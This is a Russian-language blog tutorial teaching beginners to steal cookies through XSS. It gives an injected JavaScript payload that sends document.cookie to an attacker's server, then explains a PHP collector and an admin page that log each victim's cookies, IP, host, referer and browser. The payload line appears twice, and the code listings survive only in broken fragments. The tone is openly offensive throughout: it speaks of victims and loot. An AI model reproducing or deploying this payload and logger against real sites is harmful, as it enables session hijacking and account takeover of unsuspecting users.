Сниффер на PHP
Автор: parrot 26.08.2017 12:39
Любимое занятие всех новичков нашего дела – это кража cookies. Одна из самых элементарных схем кражи кукисов выглядит так:
обнаружение xss на сайте –> вставляем код вида document.location.replace('http://mysite.ru/sniff.php?c='+document.cookie);сriрt> -> ждем... -> собираем награбленное
На самом деле вставить код перенаправления на веб-сниффер и ждать не единственный вариант для кражи cookies, есть довольно много методов похищения файлов cookies, о которых вы можете почитать по приведенной ссылке, у нас на сайте или на google.ru.
В этой же статье мы рассмотрим написание самого элементарного веб-сниффера (далее просто сниффера) на php.
Логика работы снифера
Сниффер это пассивная программа единственная цель которой перехват информации. Наш сниффер (Файл sniff.php) будет записывать в файл все необходимые данные из массива $_ SERVER[].
Еще раз прошу не путать веб-сниффер (который и сниффером то назвать сложно) со сниффером т.е. анализатором трафика.
Псевдо админка (Файл admin.php) будет выводить эти данные в красиво оформленном виде. Конечно же, мы можем реализовать в админке авторизацию, изменение логики работы сниффера, очистку файла с логами при достижении его определенных размеров и много чего еще, но это выходит за рамки этой статьи.
Исходники снифера
Файл conf.php
В файле conf.php вы должны указать файл где будут хранится логи, по умолчанию это log.txt разумеется этот файл вы должны создать на сервере сами и дать скрипту права на чтения и запись.
ВАЖНО: не давайте файлу права на выполнения ака chmod +x!!!
Файл sniff.php
Файл с логами не указан или доступ на запись запрешен!'; exit; } fputs($f, $str);//записываем переменную $str в файл $log fclose($f);//закрываем дескриптор файла ?>
- В файле sniff.php вы можете проследить элементарную логику работы всех подобных скриптов.
- Сначала мы все нужные данные из массива $_ SERVER[] оформляем в строку вида my: string:data.
- Одна единственная строка кода помешает в переменную $str значение массива $_GET['c'], она предназначена для записи cookies.
document.location.replace('http://mysite.ru/sniff.php?c='+document.cookie);
- Затем переменную $str мы записываем в файл логов, который был указан в файле конфигурации.
Какие значения мы записываем в файл логов кроме cookies?
- Дату и время что бы можно было узнать когда жертва попала к нам;
- Referer жертвы что бы можно было узнать откуда жертва попала к нам;
- Хост, ip, браузер жертвы и строку запросов как дополнительную, но очень важную информацию! Например хост и ip адрес помогут идентифицировать вашу жертву из сотни других, а строка параметров запроса может помочь передать параметры не предусмотренные для сохранения нашим сниффером, например идентификатор сессии.
Файл admin.php
Админка
В файле admin.php функция file() возвращает массив строк из файла логов, который мы указали в файле конфигурации. Признаком конца строки при этом считается \n, вот зачем в файле sniff.php мы последнию переменную из массива $_ SERVER[] оформили так $str .= $_SERVER['REQUEST_URI'] . "\n";.
Далее этот массив мы посылаем на обработку в цикл foreach(){…}, где он сначала фильтруется от спец символов и затем разбивается на независимые переменные функцией explode(), разделителем при этом считается двоеточие, вот зачем мы в файле sniff.php после каждого элемента массива $_SERVER[] добавляли двоеточие.
Дальше мы просто выводим значение каждой переменной, предварительно обрамив их html тегами.
Итоги
Только что мы с вами рассмотрели механизм работы элементарного сниффера, в нем много не хватает, но это был всего лишь пример, для более детального понимания работы подобных скриптов. При желании вы сами сможете реализовать все нужные проверки и фильтрации, усложнить логику работы сниффера и добавить дополнительный функционал.